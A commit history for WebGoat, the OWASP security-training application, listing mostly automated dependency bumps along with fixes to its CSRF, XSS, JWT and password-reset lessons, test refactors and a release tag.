Compare commits

...

166 Commits

Author SHA1 Message Date
1d74727db6 chore: new release 2025.0 2025-03-01 16:03:06 +01:00
957cd161f2 chore: bump org.wiremock:wiremock-standalone from 3.11.0 to 3.12.0 (#2026)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.11.0 to 3.12.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.11.0...3.12.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-03-01 11:01:46 +01:00
16b7a13de8 chore: add test case for multiple users solving lessons (#2043) 2025-02-28 20:56:15 +01:00
95dcc56a19 fix: register user while already logged in as other user. (#2042) 2025-02-28 20:56:00 +01:00
55bd0a49db chore: cleanup IT tests (#2040) 2025-02-28 18:39:23 +01:00
b5af30c819 chore: bump docker/build-push-action from 6.13.0 to 6.14.0 (#2033) 2025-02-27 18:35:10 +01:00
3d4780d7e0 chore: bump org.testcontainers:testcontainers from 1.20.4 to 1.20.5 (#2034) 2025-02-27 18:34:58 +01:00
92d4981b90 chore: bump com.diffplug.spotless:spotless-maven-plugin (#2035) 2025-02-27 18:34:47 +01:00
8166b10c1a chore: bump org.testcontainers:junit-jupiter from 1.20.4 to 1.20.5 (#2036) 2025-02-27 18:34:36 +01:00
6d1ebadf85 chore: bump org.springframework.boot:spring-boot-starter-parent (#2037) 2025-02-27 18:34:24 +01:00
9572a7b840 chore: bump com.microsoft.playwright:playwright from 1.49.0 to 1.50.0 (#2025) 2025-02-22 20:55:35 +01:00
6c16d4ccfc chore: bump io.github.bonigarcia:webdrivermanager from 5.9.2 to 5.9.3 (#2027) 2025-02-22 20:55:07 +01:00
93c3f19ca7 chore: bump org.jruby:jruby from 9.4.11.0 to 9.4.12.0 (#2028) 2025-02-22 20:54:55 +01:00
fadb07d73e chore: bump devops-infra/action-pull-request from 0.5.5 to 0.6.0 (#2029) 2025-02-22 20:54:44 +01:00
f66126e53d chore: bump devops-infra/action-commit-push from 0.9.2 to 0.10.0 (#2030) 2025-02-22 20:54:32 +01:00
c3c520f487 refactor: small updates and improvements in HTTP Basic lesson (#2024)
* refactor: cleanup attack result and builder

* refactor: solve compiler warnings

* feature: improve HTTP basics lesson

Closes: #494
2025-02-18 14:26:21 +01:00
00f3538be2 chore: format all code according to SPDX (#2023) 2025-02-16 19:48:05 +01:00
2a5b4385ea chore: bump com.diffplug.spotless:spotless-maven-plugin (#2006)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.41.1 to 2.44.2.
- [Release notes](https://github.com/diffplug/spotless/releases)
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/maven/2.41.1...maven/2.44.2)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 19:52:40 +01:00
79ac5b7b99 chore: bump docker/build-push-action from 6.12.0 to 6.13.0 (#2012)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.12.0 to 6.13.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.12.0...v6.13.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:37 +01:00
8638d94595 chore: bump org.springframework.boot:spring-boot-starter-parent (#2013)
Bumps [org.springframework.boot:spring-boot-starter-parent](https://github.com/spring-projects/spring-boot) from 3.4.1 to 3.4.2.
- [Release notes](https://github.com/spring-projects/spring-boot/releases)
- [Commits](https://github.com/spring-projects/spring-boot/compare/v3.4.1...v3.4.2)

---
updated-dependencies:
- dependency-name: org.springframework.boot:spring-boot-starter-parent
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:26 +01:00
3ef5e34dd0 chore: bump org.jruby:jruby from 9.4.9.0 to 9.4.11.0 (#2017)
Bumps org.jruby:jruby from 9.4.9.0 to 9.4.11.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:55:09 +01:00
019ab0495f chore: bump com.auth0:java-jwt from 4.4.0 to 4.5.0 (#2018)
Bumps [com.auth0:java-jwt](https://github.com/auth0/java-jwt) from 4.4.0 to 4.5.0.
- [Release notes](https://github.com/auth0/java-jwt/releases)
- [Changelog](https://github.com/auth0/java-jwt/blob/master/CHANGELOG.md)
- [Commits](https://github.com/auth0/java-jwt/compare/4.4.0...4.5.0)

---
updated-dependencies:
- dependency-name: com.auth0:java-jwt
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:59 +01:00
2aeee521ab chore: bump org.wiremock:wiremock-standalone from 3.10.0 to 3.11.0 (#2019)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.10.0 to 3.11.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.10.0...3.11.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:49 +01:00
b940e5ce58 chore: bump docker/setup-qemu-action from 3.3.0 to 3.4.0 (#2022)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 3.3.0 to 3.4.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v3.3.0...v3.4.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-02-15 18:54:38 +01:00
9c90a24cc0 docs(CSRFFeedback.java): fixed one invalid solution about CSRF attack (#2010)
Co-authored-by: HackHuang <GoogTech@outlook.com>
Co-authored-by: HackHuang <hi@goog.tech>
2025-01-26 20:23:40 +01:00
2ac50bfbd8 chore: bump docker/build-push-action from 6.11.0 to 6.12.0 (#2005)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.11.0 to 6.12.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.11.0...v6.12.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-01-26 19:18:25 +01:00
d96dbe2edf fix: build failure 2025-01-26 18:47:10 +01:00
8e45316638 feat: Introduce Playwright for UI testing
Instead of using Robot Framework which does not run during a `mvn install`. Playwright seems to be the better approach. We can now write them as normal JUnit test and they are executed during a build.

Additionally this PR solves some interesting bugs found during writing Playwright tests:

- A reset of a lesson removes all assignments as a result another user wouldn't see any assignments
- If someone solves an assignment the assignment automatically got solved for a new user since the assignment included the `solved` flag which immediately got copied to new lesson progress.
- Introduction of assignment progress linking a assignment not directly to all users.
2025-01-26 16:59:59 +01:00
9d5ab5fb21 chore: bump docker/setup-qemu-action from 3.1.0 to 3.3.0 (#2000) 2025-01-14 23:33:20 +01:00
aee7abc6b7 chore: bump docker/build-push-action from 6.10.0 to 6.11.0 (#2001) 2025-01-14 23:32:04 +01:00
06e2fdbd33 refactor: use symbolic link for Java (#1996) 2025-01-12 16:17:45 +01:00
02f43c54d0 chore: bump org.springframework.boot:spring-boot-starter-parent (#1994) 2024-12-25 11:00:53 +01:00
19f4f8dc46 chore: bump com.google.guava:guava from 33.3.1-jre to 33.4.0-jre (#1995) 2024-12-25 11:00:37 +01:00
112ca3ab22 fix: enable resource patterns again (#1993)
`LessonScanner.java` got removed by mistake.

Closes: gh-1992
2024-12-21 18:47:30 +01:00
0244655409 feat: Move to Java 23
Closes: gh-1990
2024-12-21 14:16:33 +01:00
a95213757d chore: bump org.springframework.boot:spring-boot-starter-parent from 3.3.5 to 3.4.0 (#1962) 2024-12-16 20:16:10 +01:00
6d90852c1f chore: bump org.apache.commons:commons-text from 1.12.0 to 1.13.0 (#1986) 2024-12-16 20:15:53 +01:00
4f8652758c refactor: remove unused code (#1985) 2024-12-15 13:06:49 +01:00
5fc2e0602c refactor: move plugin messages (#1968) 2024-12-03 22:13:44 +01:00
f3c7f4588b chore: bump docker/build-push-action from 6.9.0 to 6.10.0 (#1969) 2024-12-03 22:13:24 +01:00
119b84d034 chore: bump org.wiremock:wiremock-standalone from 3.9.2 to 3.10.0 (#1970) 2024-12-03 22:13:11 +01:00
afd951228d chore: bump org.jsoup:jsoup from 1.18.1 to 1.18.3 (#1971) 2024-12-03 22:13:00 +01:00
51e3f59054 fix: Hint labels showing default text regardless of localization (#1965) 2024-11-26 23:34:09 +01:00
cc0efd8600 chore: bump commons-io:commons-io from 2.17.0 to 2.18.0 (#1961) 2024-11-26 23:21:10 +01:00
e29dccf3c9 chore: bump org.testcontainers:junit-jupiter from 1.20.3 to 1.20.4 (#1963) 2024-11-26 23:20:25 +01:00
0cf861fb3c chore: bump org.testcontainers:testcontainers from 1.20.3 to 1.20.4 (#1964) 2024-11-26 23:20:11 +01:00
d8100385b6 fix: automatically solve XSS mitigation (#1957)
This PR moves the mitigation Java class into the correct package.

The lesson was automatically solved because no assignments were found.

Closes: #1943
2024-11-14 08:42:55 +01:00
4880afa0e3 fix: remove implicit context path guessing (#1956)
Pass the context-path in the assignment overview so the frontend can easily match an assignment.
2024-11-13 21:32:28 +01:00
e60ca6ce72 chore: bump org.jruby:jruby from 9.4.8.0 to 9.4.9.0 (#1954) 2024-11-11 13:46:45 +01:00
88a763f513 chore: bump org.testcontainers:junit-jupiter from 1.20.1 to 1.20.3 (#1946)
Bumps [org.testcontainers:junit-jupiter](https://github.com/testcontainers/testcontainers-java) from 1.20.1 to 1.20.3.
- [Release notes](https://github.com/testcontainers/testcontainers-java/releases)
- [Changelog](https://github.com/testcontainers/testcontainers-java/blob/main/CHANGELOG.md)
- [Commits](https://github.com/testcontainers/testcontainers-java/compare/1.20.1...1.20.3)

---
updated-dependencies:
- dependency-name: org.testcontainers:junit-jupiter
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 16:13:27 +01:00
7f33d3609f chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1948)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.5.1 to 3.5.2.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.5.1...surefire-3.5.2)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 16:13:10 +01:00
bf02077427 chore: bump org.wiremock:wiremock-standalone from 3.9.1 to 3.9.2 (#1947)
Bumps [org.wiremock:wiremock-standalone](https://github.com/wiremock/wiremock) from 3.9.1 to 3.9.2.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.9.1...3.9.2)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock-standalone
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-11-07 15:46:43 +01:00
e1e00bca73 fix: JWT kid/jku lessons (#1949)
* refactor: rewrite hints

Use active voice and fix grammar issues.

* fix: use Thymeleaf `th:action`

* fix: JWT kid/jku lessons

Split the JavaScript into two files they pointed to the same URL

The JWTs are now valid, they parse successfully.

The paths now include `/kid` and `/jku` to make sure the hints match accordingly in the UI. Otherwise `/delete` would pick up both hints from both assignments as the paths overlap.

Closes: #1715

* fix: update to latest pre-commit version

* fix: increase timeouts for server to start during integration tests
2024-11-07 15:45:33 +01:00
d59153d6d7 Fix password reset lesson (#1941)
* docs: improve text

* fix: use correct POST url
2024-10-29 17:32:51 +01:00
87fae00f03 chore: bump commons-io:commons-io from 2.16.1 to 2.17.0 (#1937)
Bumps commons-io:commons-io from 2.16.1 to 2.17.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-29 16:30:32 +01:00
3f6a74ad86 chore(gh-actions): update dependency 2024-10-28 22:02:02 +01:00
1d37ee0877 ci: run pre-commit checks first
Create a dependency between the jobs.
2024-10-28 21:59:10 +01:00
4f6ab25ebd ci: run pre-commit checks first 2024-10-28 21:57:43 +01:00
af687e71fe chore: bump com.google.guava:guava from 33.3.0-jre to 33.3.1-jre (#1939) 2024-10-28 20:02:09 +01:00
83ed4c3d5c chore: bump org.testcontainers:testcontainers from 1.20.1 to 1.20.3 (#1935) 2024-10-28 15:05:33 +01:00
62cdfd0824 chore: bump com.github.terma:javaniotcpproxy from 1.5 to 1.6 (#1936) 2024-10-28 15:04:15 +01:00
e7457f4821 chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1938) 2024-10-28 15:04:01 +01:00
4efaf87c7e Fix passing command line arguments (#1933)
* fix: use banners correctly

* fix: passing command line arguments

Since we already have `webwolf.port` it makes sense to also define `webwolf.port` explicitly and not rely on `server.port`

Closes: #1910
2024-10-27 08:39:02 +01:00
cf5101a633 chore: bump org.asciidoctor:asciidoctorj from 2.5.13 to 3.0.0 (#1897) 2024-10-26 22:53:43 +02:00
3f049ba53a Nbaars/1886 (#1932)
* improved code readbility

* chore: format code

---------

Co-authored-by: guilherme peixoto <peixoto-guilherme7@hotmail.com>
2024-10-26 22:18:28 +02:00
7e294fbdb5 chore: bump org.apache.commons:commons-compress from 1.26.2 to 1.27.1 (#1884) 2024-10-26 19:27:07 +02:00
2177eb663a chore: bump docker/build-push-action from 6.7.0 to 6.9.0 (#1920) 2024-10-26 16:59:13 +02:00
50692300eb docs: Show boolean operators priority on where (#1902) 2024-10-26 14:48:50 +02:00
e2c2d425cb chore: bump actions/cache from 4.0.2 to 4.1.1 (#1925) 2024-10-26 14:25:04 +02:00
6bbd3cb66b chore: bump org.springframework.boot:spring-boot-starter-parent (#1931) 2024-10-26 14:20:14 +02:00
d08a56d351 chore: add test for solving same lesson as different user. (#1930)
We removed the constraint but did not add an extra testcase to cover this bug.

Closes: #1890
2024-10-26 12:06:30 +02:00
ec97568ec2 chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1922)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.3.1 to 3.5.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.3.1...surefire-3.5.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-26 10:55:02 +02:00
9b68368b23 chore: bump pre-commit-ci/lite-action from 1.0.1 to 1.1.0 (#1926)
Bumps [pre-commit-ci/lite-action](https://github.com/pre-commit-ci/lite-action) from 1.0.1 to 1.1.0.
- [Release notes](https://github.com/pre-commit-ci/lite-action/releases)
- [Commits](https://github.com/pre-commit-ci/lite-action/compare/v1.0.1...v1.1.0)

---
updated-dependencies:
- dependency-name: pre-commit-ci/lite-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-10-26 10:54:46 +02:00
ab068901f1 Remove WebGoat session object (#1929)
* refactor: modernize code

* refactor: move to Tomcat

* chore: bump to Spring Boot 3.3.3

* refactor: use Testcontainers to run integration tests

* refactor: lesson/assignment progress

* chore: format code

* refactor: first step into removing base class for assignment

Always been a bit of an ugly construction, as none of the dependencies are clear. The constructors are hidden due to autowiring the base class. This PR removes two of the fields.

As a bonus we now wire the authentication principal directly in the controllers.

* refactor: use authentication principal directly.

* refactor: pass lesson to the endpoints

No more need to get the current lesson set in a session. The lesson is now passed to the endpoints.

* fix: Testcontainers cannot run on Windows host in Github actions.

Since we have Windows specific paths let's run it standalone for now. We need to run these tests on Docker as well (for now disabled)
2024-10-26 10:54:21 +02:00
cb7c508046 fix: reset form and quiz color on reset lesson (#1903)
* ./mvnw spotless:apply

```
[INFO] --- spotless-maven-plugin:2.41.1:apply (default-cli) @ webgoat ---
[INFO] Writing clean file: /home/ulyssa/labs/WebGoat/WebGoat-bb6e84d/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java
```

* On reset lesson: reset form and quizzes colors
2024-10-26 09:22:18 +02:00
f4c86be6c7 Update fix version 2024-10-18 22:50:19 +02:00
cf2c115093 fix: xss lesson typo 2024-10-18 22:38:32 +02:00
bb6e84ddcf chore: bump com.google.guava:guava from 33.2.1-jre to 33.3.0-jre (#1879)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.2.1-jre to 33.3.0-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-04 21:44:38 +02:00
5fc2666b43 chore: bump docker/build-push-action from 6.5.0 to 6.7.0 (#1877)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.5.0 to 6.7.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.5.0...v6.7.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-09-04 21:43:46 +02:00
6e946f21a2 chore: bump io.github.bonigarcia:webdrivermanager from 5.9.1 to 5.9.2 (#1866)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.9.1 to 5.9.2.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.9.1...webdrivermanager-5.9.2)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:57:57 +02:00
d38ba2a626 chore: bump docker/build-push-action from 6.4.1 to 6.5.0 (#1867)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.4.1 to 6.5.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.4.1...v6.5.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:56:33 +02:00
4c7e6ae4f4 chore: bump org.wiremock:wiremock from 3.9.0 to 3.9.1 (#1865)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.9.0 to 3.9.1.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.9.0...3.9.1)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-08-04 15:56:12 +02:00
58b762eade fix: copying file using transferTo sometimes fails. (#1862)
Turns out that using this method sometimes fails with an exception about unable to delete a directory.
The stacktrace points to:

```
java.nio.file.FileSystemException: /tmp/webwolf-fileserver/dumbanddummer/xxe_a11.dtd: Not a directory
        at java.base/sun.nio.fs.UnixException.translateToIOException(UnixException.java:100) ~[na:na]
        at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:106) ~[na:na]
        at java.base/sun.nio.fs.UnixException.rethrowAsIOException(UnixException.java:111) ~[na:na]
        at java.base/sun.nio.fs.UnixFileSystemProvider.implDelete(UnixFileSystemProvider.java:248) ~[na:na]
        at java.base/sun.nio.fs.AbstractFileSystemProvider.deleteIfExists(AbstractFileSystemProvider.java:110) ~[na:na]
        at java.base/java.nio.file.Files.deleteIfExists(Files.java:1191) ~[na:na]
        at java.base/java.nio.file.Files.copy(Files.java:3147) ~[na:na]
        at io.undertow.server.handlers.form.FormData$FileItem.write(FormData.java:274) ~[undertow-core-2.3.10.Final.jar!/:2.3.10.Final]
        at io.undertow.servlet.spec.PartImpl.write(PartImpl.java:119) ~[undertow-servlet-2.3.10.Final.jar!/:2.3.10.Final]
        at org.springframework.web.multipart.support.StandardMultipartHttpServletRequest$StandardMultipartFile.transferTo(StandardMultipartHttpServletRequest.java:254) ~[spring-web-6.0.13.jar!/:6.0.13]
        at org.owasp.webgoat.webwolf.FileServer.importFile(FileServer.java:89)
```

It has to do with the underlying implmentation in Undertow. An explaination can be found here: https://stackoverflow.com/questions/60336929/java-nio-file-nosuchfileexception-when-file-transferto-is-called

The solution is to take the input stream and use a simple `Files.copy()` to copy the file.

Closes: #1737
2024-07-28 17:47:30 +02:00
2b0c22ac68 Small improvements (#1848)
* refactor: remove CORS

* improvement: add healthcheck to Docker file
2024-07-23 17:42:56 +02:00
85103bbcad chore: bump docker/login-action from 3.2.0 to 3.3.0 (#1855)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.2.0 to 3.3.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.2.0...v3.3.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-23 17:36:27 +02:00
b98e1a98e1 chore: bump docker/build-push-action from 6.2.0 to 6.4.1 (#1854)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 6.2.0 to 6.4.1.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v6.2.0...v6.4.1)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:33:06 +02:00
73de259809 chore: bump org.wiremock:wiremock from 3.8.0 to 3.9.0 (#1852)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.8.0 to 3.9.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.8.0...3.9.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:48 +02:00
4a804fabb6 chore: bump org.jsoup:jsoup from 1.17.2 to 1.18.1 (#1851)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.17.2 to 1.18.1.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.17.2...jsoup-1.18.1)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:27 +02:00
7f652dadec chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1850)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.3.0 to 3.3.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.3.0...surefire-3.3.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-22 20:32:10 +02:00
f66dff1aeb chore: bump org.eclipse.jetty.ee10:jetty-ee10-bom (#1840)
Bumps [org.eclipse.jetty.ee10:jetty-ee10-bom](https://github.com/jetty/jetty.project) from 12.0.10 to 12.0.11.
- [Release notes](https://github.com/jetty/jetty.project/releases)
- [Commits](https://github.com/jetty/jetty.project/compare/jetty-12.0.10...jetty-12.0.11)

---
updated-dependencies:
- dependency-name: org.eclipse.jetty.ee10:jetty-ee10-bom
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-10 12:14:45 +02:00
777cec5a57 chore: bump io.github.bonigarcia:webdrivermanager from 5.8.0 to 5.9.1 (#1838)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.8.0 to 5.9.1.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.8.0...webdrivermanager-5.9.1)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:53:00 +02:00
98fd280459 chore: bump org.wiremock:wiremock from 3.7.0 to 3.8.0 (#1837)
Bumps [org.wiremock:wiremock](https://github.com/wiremock/wiremock) from 3.7.0 to 3.8.0.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.7.0...3.8.0)

---
updated-dependencies:
- dependency-name: org.wiremock:wiremock
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:49 +02:00
8e0addff0b chore: bump org.jruby:jruby from 9.4.7.0 to 9.4.8.0 (#1841)
Bumps org.jruby:jruby from 9.4.7.0 to 9.4.8.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:41 +02:00
a30fbc223a chore: bump docker/setup-qemu-action from 2.2.0 to 3.1.0 (#1842)
Bumps [docker/setup-qemu-action](https://github.com/docker/setup-qemu-action) from 2.2.0 to 3.1.0.
- [Release notes](https://github.com/docker/setup-qemu-action/releases)
- [Commits](https://github.com/docker/setup-qemu-action/compare/v2.2.0...v3.1.0)

---
updated-dependencies:
- dependency-name: docker/setup-qemu-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-09 20:52:27 +02:00
a0b6decf34 Fix report card (#1845)
* fix: report card

Fix and simplify calculation of the number of assignments a user solved.
Rename `UserTracker` to `UserProgress`
Rename `LessonTracker` to `LessonProgress`
Rename tables in database
